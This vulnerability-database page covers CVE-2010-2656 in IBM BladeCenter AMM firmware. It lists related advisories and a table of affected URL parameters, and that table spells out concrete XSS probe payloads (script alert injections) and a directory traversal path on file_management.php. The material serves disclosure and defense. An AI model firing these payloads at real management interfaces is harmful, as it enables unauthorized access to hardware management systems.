Lucene search
+L

CVE-2010-2656

🗓️ 07 Jul 2010 18:00:00Reported by mitreType 
cve
 cve
🔗 web.nvd.nist.gov👁 64 Views🌐 WEB

IBM BladeCenter AMM firmware before 4.7, 5.0 allows unauthorized access to sensitive info

Related
Detection
Refs
Paths
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-2656
6 Jul 201000:00
–circl
cvelist
Cvelist
CVE-2010-2656
7 Jul 201018:00
–cvelist
exploitdb
Exploit DB
IBM Bladecenter Management - Multiple Web Application Vulnerabilities
6 Jul 201000:00
–exploitdb
nvd
NVD
CVE-2010-2656
8 Jul 201012:54
–nvd
prion
Prion
Improper access control
8 Jul 201012:54
–prion
rapid7
Rapid7 Vulnerability Database (full)
CVE-2010-2656: Undefined Security Weakness
7 Jul 201000:00
–rapid7
ParameterPositionPathDescriptionCWE
INDEXquery param/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert('XSS1');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert('XSS2');%3C/script%3EDynamic XSS via INDEX parameter in bladecenter management moduleCWE-264
domainquery param/private/power_management_policy_options.php?domain=3<XSS>XSS via domain parameterCWE-264
slotquery param/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>XSS via slot parameter in pm_temp.phpCWE-264
slotquery param/private/power_module.php?view=4&mod_type=4&slot=3<XSS>XSS via slot parameter in power_module.phpCWE-264
WEBINDEXquery param/private/blade_leds.php?WEBINDEX=3<XSS>XSS via WEBINDEX parameter in blade_leds.phpCWE-264
SLOTquery param/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1XSS via SLOT parameter in ipmi_bladestatus.phpCWE-264
DIRquery param/private/file_management.php?DIR=/../../../tmp/etcDirectory traversal leading to unauthorized OS file accessCWE-264

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 23:21Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02456
64